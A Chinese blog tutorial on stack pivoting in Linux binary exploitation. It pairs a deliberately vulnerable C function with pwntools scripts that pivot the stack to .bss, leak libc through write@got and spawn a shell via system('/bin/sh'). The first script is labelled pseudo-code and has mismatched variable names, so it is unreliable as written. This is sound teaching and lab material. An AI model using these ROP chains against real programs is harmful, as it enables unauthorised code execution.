Linux PWN技巧之栈迁移

13 篇文章 1 订阅

简介

栈迁移简单将就是控制EBP/RBP、ESP/RSP寄存器,让栈帧指向一段我们可以控制的内存,从而实现控制栈上执行内容、控制程序执行流程的目的
栈迁移一般会将栈帧指向bss段(其他可读写内存段也可以),这种技巧是为了解决栈上空间太小,不够写入完整payload的情况。比如有个程序存在栈溢出的漏洞,但溢出的长度不够,只够覆盖到返回地址,不能读入完整的rop链,这种情况就可能要用到栈迁移的技巧了

利用介绍

以32位程序为例,描述一下栈迁移的核心思想。

首先要理解leave和ret汇编指令的作用:

  • leave指令做了两步操作:mov ebp,esp 将ebp寄存器的值赋值给esp寄存器,这样esp和ebp寄存器都指向同一块内存了;然后是 pop ebp 将esp寄存器指向的内存的值赋值给ebp,同时esp寄存器保存的地址增加四个字节,也就是指向上一个栈块(栈空间是从高地址向低地址增长的)
  • ret指令相当于 pop eip,将当前esp寄存器指向的内存的内容赋值给eip寄存器,这样下一步就会去执行更新后的eip寄存器指向的内容了,同时esp寄存器会指向上一个栈块

在32位指令集中,call指令执行完成后都会执行leave和ret指令来退出call指令,继续往下执行,因此我们可以利用栈溢出来修改栈上的值结合leave ret指令来实现控制esp ebp指针,进而实现栈迁移,让程序执行流程进入到被我们控制的内存

要实现栈迁移,需要至少执行两次写入操作,一次用于向可读写内存区(比如.bss段)写入rop链,第二次用于触发栈溢出,将esp寄存器指向上一步写入的rop链所在的内存区,同时还需要执行两次leave ret操作,一次用于触发栈溢出修改后的函数ret地址,一次用于将ebp esp寄存器指向rop链的内存区完成迁移动作,下面举个例子来说明一下。

举个栗子

漏洞代码

char s[0x100];
void vuln()
{	
	setbuf(s, 0);
	
	char buf[24];
	char strs[] = "input your name: \n";
	int strlens = strlen(strs);
	wirite(1, strs, strlens);
	read(0, s, 0x100);
	printf("input somthing: \n");
	read(0, buf, 0x20);	
	return;
}

利用思路

将上述代码编译为32位程序,关闭PIE和Canary
上面这段代码可以很明显看出来,第二个read处存在栈溢出,但溢出长度只有0x30-24=24字节,结合gdb分析发现这个长度能覆盖到返回地址,但无法装下完整的rop链,因此需要使用栈迁移。

这个程序会执行两次read操作,第一次是往全局变量s中写入,s是一个没有初始化的全局变量,因此它的位置应该是在bss段,使用gdb调试验证也确实如此,因此可以利用这次read将rop链写入到bss段,然后在利用第二次read触发栈溢出,构造两次leave ret操作,修改esp寄存器,完成迁移动作,触发rop链。

解决了rop链的存放问题后,下一步需要利用ret2libc来完成getshell操作:使用write泄露出write函数的加载地址,然后结合libc的偏移地址,计算出libc.so加载的基地址,然后获取到libc中的system以及/bin/sh字符串的加载地址,即可getshell。

伪exp脚本

下面结合伪代码分析一下利用思路:


# 首先要通过逆向分析拿到leave ret操作的gadget地址,记录为leave_ret变量
# 拿到溢出长度,记录为 offset 变量,注意offset应正好覆盖到ebp寄存器指向的内存,不是直接覆盖ret地址
# 然后拿到main函数的地址, 记录为 main_sym 变量
# 然后拿到read函数的plt地址,记录为 read_plt 变量
# 然后拿到wirte函数的plt地址和got地址,分别记录为write_plt write_got
# 然后拿到全局变量s的起始地址,记录为 bss_addr 变量
# 构造第一个rop链,这个链的作用是泄露出write函数的加载地址,然后返回main函数,从头执行程序,这个rop链的起始地址位于bss_addr处
rop1 = p32(write_plt) + p32(main_sym) + p32(1) + p32(write_got) + p32(4)

# 触发栈溢出漏洞,执行完后,bss_addr - 4正好覆盖掉ebp寄存器的值,leave_ret正好覆盖掉vuln函数的ret地址
payload1 = offset * b'a' + p32(bss_addr - 4) + p32(leave_ret)

p = process("./test") # 拉起漏洞程序
p.recvuntil("input your name: \n")
p.send(rop1) # 将第一个rop链写入到bss段
p.recvuntil("input somthing: \n")
p.send(payload1) # 将第一个payload输出栈中,利用栈溢出重写栈上的值,触发栈溢出漏洞
write_addr = u32(r.recv(4)) # 利用rop1获取到write函数的加载地址,并返回main函数,重新执行
libc_base = write_addr - libc.symbols["write"] # 利用write函数的加载地址获取libc的基地址
system_addr = base_addr + libc.symbols["system"] # 获取system的加载地址
binsh_addr = base_addr + libc.search("/bin/sh").next() # 获取/bin/sh字符串的加载地址
#构造第二个rop链,获取shell
rop3 = p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
p.recvuntil("input your name: \n")
p.send(rop2)

# 重新触发栈溢出漏洞,完成栈迁移,执行rop2链得到shell
payload2 = offset*b'a' + p32(bss_addr-4) + p32(leave_ret_addr)
p.recvuntil("input somthing: \n")
p.send(payload2)
p.interactive()

这里讲一下为什么第一次payload中,ebp要指向rop地址的上一个地址也就是bss_base - 4。其实很简单,因为我们覆盖完ebp的值后,下一步是ret到了leave_ret所在的gadget,执行了leave操作,而leave操作会先把esp修改为bss_base - 4,然后把bss_base - 4 内存里的值pop给ebp,这时esp会自动指向上一个栈块,因为栈的增长方向是从高地址向低地址的,所以指向上一个栈块的操作其实是esp指向的地址加4字节也就是esp + 4,而我们的目标是让esp正好指向rop链的第一步,这样下一步执行ret就会pop到eip从而开始执行rop链了,所以要保证esp + 4 == bss_base,因此ebp要指向bss_base - 4!

别人的轮子

上面的exp是手动实现了一下栈迁移的操作,目的是方便理解原理,其实核心就是利用leave|ret 来完成对esp寄存器的操作,在实际应用中,可以使用python的pwntools库提供的migrate方法一句话实现栈迁移操作,这里用一个栈溢出的exp为例:

from pwn import *

elf = ELF('./test')
rop = ROP('./test')

bss = elf.bss()
stack_size = 0x100 # 设置栈长度
base_stage = bss_addr + stack_size # 确定栈要迁入的地址
# 构造栈迁移的rop链
offset = 112 # 确定栈溢出覆盖到返回地址的长度,本例中为112
rop.raw(offset * 'a')
rop.read(0, base_stage, 100) # 利用栈溢出漏洞,触发read指令,向base_stage中写入下一步rop链,用于完成下一步的攻击,这里假定rop链的长度为100字节
rop.migrate(base_stage) # 完成栈迁移操作,执行完该指令后esp就指向base_stage了

p = process('./test')
p.recv()
p.send(rop) # 发送rop链,触发栈溢出漏洞,等待往我们构造的栈里写入下一步的rop链
# 构造新的rop链,新的rop链的作用是从base_stage + 80出读出我们写入的sh字符串
rop = ROP('./main_partial_relro_32')
sh = "/bin/sh"
rop.write(1, base_stage + 80, len(sh))
rop.raw('a' * (80 - len(rop.chain()))) # 填充字符,直到base_stage + 80处
rop.raw(sh) # 在base_stage + 80处填入sh字符串
rop.raw('a' * (100 - len(rop.chain()))) # 填充rop长度为100字节,因为上一个rop链读入了100字节
p.send(rop) # 发送新的rop链,写入到base_stage
# 第一个rop继续往下执行,esp寄存器指向了base_stage,再往下执行即可触发第二段rop链的write指令
p.interactive()

参考博客

https://icode9.com/content-4-1094763.html

  • 3
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值